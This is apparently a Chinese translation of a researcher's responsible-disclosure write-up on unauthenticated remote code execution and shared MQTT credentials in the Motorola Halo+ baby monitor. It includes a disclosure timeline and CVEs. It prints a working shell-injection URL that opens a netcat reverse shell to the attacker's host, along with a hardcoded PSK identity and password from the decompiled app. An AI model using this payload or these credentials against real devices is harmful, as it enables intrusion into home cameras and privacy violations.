摩托罗拉婴儿监视器中的未认证远程代码执行漏洞分析

本文详细分析了摩托罗拉Halo+婴儿监视器中存在的未认证远程代码执行漏洞,包括端口扫描、API命令发现、shell注入攻击及MQTT配置问题,最终获得root权限并披露时间线。

摩托罗拉婴儿监视器中的未认证远程代码执行

当我和妻子期待第一个孩子时,一款好的婴儿监视器是我们购物清单上的重要物品之一。大多数可用选项现在都包括Wi-Fi、移动应用和云集成。当我们决定选择摩托罗拉Halo+时,我知道在将其连接到我们的Wi-Fi之前需要仔细检查——在那之前,我将其与网络断开,并使用手持监视器。

我们坚持了大约一年,直到额外的"连接"功能足够吸引人,最终输入了我们的Wi-Fi密码。我开始深入研究设备,并在几个小时内识别出预认证的RCE漏洞,不久后获得了完整的root shell。

初步研究

将摄像头连接到Wi-Fi后,我首先使用nmap扫描识别任何监听服务。

这些端口为我寻找潜在API通信提供了一个良好的起点。我在浏览器中访问了每个端口,期望其中一个可能提供Web界面。有趣的是,所有三个都是Web服务器,但每个响应略有不同:

  • :8080 – 404 Not Found页面
  • :9090 – 响应体显示"Unsupported command"
  • :80 – 空

我无法让最后一个端口响应——一个快速的cURL请求解释了这一点:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
user@ubuntu:~$ curl http://192.168.5.244 -v
* Rebuilt URL to: http://192.168.5.244/
*   Trying 192.168.5.244...
* Connected to 192.168.5.244 (192.168.5.244) port 80 (#0)
> GET / HTTP/1.1
> Host: 192.168.5.244
> User-Agent: curl/7.47.0
> Accept: */*
> 
< HTTP/1.1 204 No content
< Content-Length: 0
< Content-Type: text/plain
< Connection: Keep-Alive
< 
* Connection #0 to host 192.168.5.244 left intact

“Unsupported command"显然引起了我的注意,作为进一步探索的路径。我开始尝试各种参数的请求,但没有成功。我本可以运行一些工具来暴力破解有效参数,但我怀疑有更好的路径。

Android应用

接下来,我决定安装Android应用并开始逆向工程,希望了解它如何与设备通信。婴儿监视器可以通过Hubble Connected for Motorola Monitors完全管理——以下是设置后的样子:

除了摄像头feed外,设备还收集并在应用中显示相当多的数据点。这里可以看到它显示房间温度,以及其他监视器功能的状态,如夜灯和灯光秀投影器。

我的下一步通常是代理应用中的API请求。在快速浏览应用的详细logcat输出后,我意识到这没有必要。

从上面的日志中可以看出,API请求很容易从日志中消化。我注意到许多与Hubble云服务交互的请求,但我更感兴趣的是应用是否通过LAN直接访问设备。

接下来,我在日志中搜索任何HTTP通信,并开始使用应用的更多功能。在应用中更改一些设备设置后,我终于识别出一些对本地API的请求:

这正是我想要的。让我们尝试一个例子:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
user@ubuntu:~$ curl "http://192.168.5.244/?action=command&command=get_wifi_strength" -v
*   Trying 192.168.5.244...
* Connected to 192.168.5.244 (192.168.5.244) port 80 (#0)
> GET /?action=command&command=get_wifi_strength HTTP/1.1
> Host: 192.168.5.244
> User-Agent: curl/7.47.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Content-Length: 21
< Content-Type: text/plain
< Connection: Keep-Alive
< 
* Connection #0 to host 192.168.5.244 left intact
get_wifi_strength: 75

这里没有什么花哨的——一个普通的HTTP请求返回冒号分隔的响应。

额外命令

有了几个本地API请求的例子,我反编译了Android应用并开始搜索它们的引用——目标是找到代码库中使用的更大命令列表。有一些有趣的一次性发现散布在各处,但我选择专注于一个特定的类,该类定义了配置常量列表。这包括可能的GET和SET命令,以及设置Wi-Fi的PSK。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/*
 * Decompiled with CFR 0_121.
 */
package com.hubble.framework.common;

public class ConfigConstants {
    public static final String AUTH_KEY_IS_NULL = "auth_key_is_null";
    public static final String CAM_FOCUS_1_SSID = "\"CameraHD-006611d724\"";
    public static final String CAM_FOCUS_1_SSID_NAME = "CameraHD-006611d724";
    public static final String CAM_FOCUS_SSID = "\"CameraHD-00661214b0\"";
    public static final String GLOBAL_PORT = ":80";
    public static final String MQTT_P2P_ENABLE = "mqtt_p2p_enable";
    public static final String TRANSFER_PROTOCOL = "http://";

    public class Camera {
        public static final String ACCESS_TOKEN_COMMAND = "action=command&command=set_server_auth&value=";
        public static final String AP_INFO_COMMAND = "action=command&command=setup_wireless_save&setup=";
        public static final String GET_MAC_COMMAND = "action=command&command=get_mac_address";
        public static final String GET_UDID_COMMAND = "action=command&command=get_udid";
        public static final String GET_VERSION = "action=command&command=get_version";
        public static final String HTTP_URI_SEPARATOR = "/?";
        public static final String PREFS_CAMERA_CREDENTIAL_STATUS = "camera_credential";
        public static final String PREFS_CAMERA_HTTP_NAME = "camera_http_name";
        public static final String PREFS_CAMERA_HTTP_PASSWORD = "camera_http_pwd";
        public static final String RESTART_DEVICE_COMMAND = "action=command&command=restart_system";
        public static final String SETUP_FW_VERSION = "00.00.00";
        public static final String SETUP_PSK_IDENTITY = "forekbsh93vlf8j08tt53qaghb";
        public static final String SETUP_PSK_PASSWORD = "D9D9790A65CEF2B23B73CCA9DC18C888";
        public static final String SETUP_TLS_DEFAULT_PORT = "4434";
        public static final String SET_BOOTSTRAP_COMMAND = "set_bootstrap_info";
        public static final String SET_BOOTSTRAP_URL = "action=command&command=set_bootstrap_info%s";
        public static final String SET_CITY_TIMEZONE = "set_city_timezone";
        public static final String SET_CITY_TIME_ZONE = "action=command&command=set_city_timezone&value=%s";
        public static final String SET_DATE_TIME = "action=command&command=set_date_time&value=%s";
        public static final String SET_DATE_TIME_COMMAND = "set_date_time";
        public static final String WIFI_CONNECTION_STATE_COMMAND = "action=command&command=get_wifi_connection_state";
        public static final String WIFI_LIST_COMMAND = "action=command&command=get_rt_list";
    }
}

我开始手动尝试上面类中列出的命令。以下是get_rt_list:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
user@ubuntu:~$ curl "http://192.168.5.244/?action=command&command=get_rt_list" -v
*   Trying 192.168.5.244...
* Connected to 192.168.5.244 (192.168.5.244) port 80 (#0)
> GET /?action=command&command=get_rt_list HTTP/1.1
> Host: 192.168.5.244
> User-Agent: curl/7.47.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Content-Length: 1096
< Content-Type: text/xml
< 
<?xml version="1.0" encoding="UTF-8"?>
<wl v="2.0">
<n>8</n>
<w>
<s><![CDATA["HP-Print-72-Officejet Pro 8630"]]></s>
<b>***REMOVED***</b>
<a>WPA2</a>
<q>72</q>
<si>-88</si>
<nl>0</nl>
<ch>1</ch>
</w>
<!-- SNIPPED -->
</wl>
* Connection #0 to host 192.168.5.244 left intact

上述命令返回了从摄像头可用的Wi-Fi网络列表。由于大多数列出的命令似乎对我的设备有效,我知道我找对了地方,并将重点转向SET命令。“value"参数特别感兴趣,因为这些将接受用户控制的输入,如果未正确清理,可能导致RCE。

远程代码执行

当我最终使用重启shell注入payload执行set_city_timezone时,设备立即重启。在另一个终端中运行/?action=command&command=get_version循环时,可以看到这一点。

如您所见,设备在发出重启请求后停止响应。在构建反向shell PoC方面做了一些工作后,我最终得到了这个:

1
http://192.168.5.244/?action=command&command=set_city_timezone&value=$(nc${IFS}192.168.5.202${IFS}5555${IFS}-e${IFS}/bin/sh)

注意使用${IFS} shell变量表示空格,因为Web服务器将处理%20的编码值。

以下是(root)shell的运行情况:

额外研究

通过shell访问设备,我现在能够更深入地挖掘并检查其他可能的攻击向量,这些向量在黑盒测试中 otherwise 难以发现。虽然本文无法涵盖太多细节,但我想谈谈我发现的最关键问题。

MQTT

正如我上面讨论的,许多云集成是通过Hubble API实现的。集成的一个组件建立在MQTT上——就像许多IoT设备架构一样,这用于处理设备、移动应用客户端和Hubble基础设施之间基于事件的发布/订阅交互。

例如,移动应用似乎通过Hubble API内的API层与MQTT交互——参见以下命令,显然要求设备更新其温度值:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
  "status": 202,
  "message": "success",
  "data": {
    "id": "15f42d3d-7bcf-4fbd-8781-0bb3034f0fd2",
    "created_at": "2021-05-12T17:44:08Z",
    "updated_at": "2021-05-12T17:44:08Z",
    "job_type": "publish_command",
    "status": 202,
    "state": "SUCCESSFUL",
    "input": {
      "packet_header_pojo": "{\"command\":\"VALUE_TEMPERATURE\"}",
      "device_id": "50b0f163-51be-4ef5-ad55-f031d98f99b7"
    },
    "output": {
      "reason": "mqtt published",
      "PublishResponse": "mqtt published",
      "DeviceResponseMessage": null,
      "DeviceResponseStatus": null,
      "PublishStatus": 202
    },
    "priority": "high",
    "last_executed_time": "2021-05-12T17:44:08Z",
    "execution_count": 1
  }
}

为了更好地理解MQTT实现的工作原理,我想连接一个客户端来观察传输中的消息。在查看设备上的一些日志后,我找到了MQTT服务器的主机名,以及连接所需的所有TLS证书和密钥:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
pwd
/mnt/config/hubble_config
ls -hal
drwxr-x---    2 root     root         720 May 30 14:55 .
drwxr-xr-x    4 root     root        1.0K Dec 31  1969 ..
-rw-r--r--    1 root     root         286 May 30 13:55 bootup_info
-rw-r--r--    1 root     root        1.4K Dec  9 13:52 ca.crt
-rw-r--r--    1 root     root        1.1K Dec  9 13:52 client.crt
-rw-r--r--    1 root     root        1.6K Dec  9 13:52 client.key
-rw-r-----    1 root     root           0 Apr  1 23:37 dummy
-rw-r-----    1 root     root           0 Apr  1 23:37 smartconfig
-rw-r--r--    1 root     root        5.2K May 30 14:55 user.conf
-rw-r--r--    1 root     root        3.7K May 30 13:55 user1.conf

我打开MQTT Explorer并使用设备中的证书配置连接。我成功连接并立即开始看到来自Hubble舰队中越来越多其他设备的消息。连接后不久,我意识到客户端默认配置为订阅#和$SYS/#。这似乎很明显,这意味着要么凭证在所有Hubble设备之间共享,要么MQTT中设备之间的访问控制未强制执行。

如果您仔细观察,可以看到来自各种设备的许多命令结果。虽然我没有尝试,但我认为客户端很可能通过发布任意命令轻松控制整个设备舰队。

披露

联系供应商披露这些漏洞带来了自己的挑战——首先,我必须了解摩托罗拉的公司历史和当前结构。维基百科文章很好地说明了这一点:

Motorola, Inc.是一家美国跨国电信公司。在2007年至2009年亏损43亿美元后,该公司于2011年1月4日分为两家独立的上市公司Motorola Mobility和Motorola Solutions。Motorola Solutions通常被认为是Motorola, Inc.的直接继任者,因为重组的结构是Motorola Mobility被分拆。Motorola Mobility于2014年被联想收购。

在最初联系了显然是错误的摩托罗拉,并在寻找与Motorola Mobility的任何联系方面失败后,我终于联系到了联想的安全人员。他们非常响应,提供了详细的更新,并在测试/验证修复方面非常彻底。以下是时间线:

日期 事件
2021-04-09 向联想PSIRT初始报告
2021-04-12 收到响应,要求提供受影响的固件版本
2021-04-15 我跟进确认报告
2021-04-16 联想团队确认问题,正在修复(预计5月底)。披露计划2021-06-08
2021-06-01 我跟进确认补丁已发布
2021-06-02 修复仍在内部验证中。披露移至2021-07-13以确保客户有可用修复
2021-06-23 初始修复发现不完整。“我们已为产品开放了额外要求以解决此问题,这增加了一些复杂性”
2021-07-09 收到更新,仍有一些最终项要解决
2021-08-07 我跟进进展
2021-08-10 回复:最后修复应下周交付
2021-08-11 我回复询问每个漏洞的详细信息。是否已修复?仍在处理一个或两个?
2021-08-11 收到回复,告知RCE在03.50.06中修复。MQTT问题花费了额外时间。ETA几天。2021-09-14披露日期设定
2021-09-09 仍在按计划披露两个问题。MQTT在03.50.14中修复
2021-09-14 公开披露

CVE

  • CVE-2021-3577: RCE
  • CVE-2021-3787: MQTT凭证
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计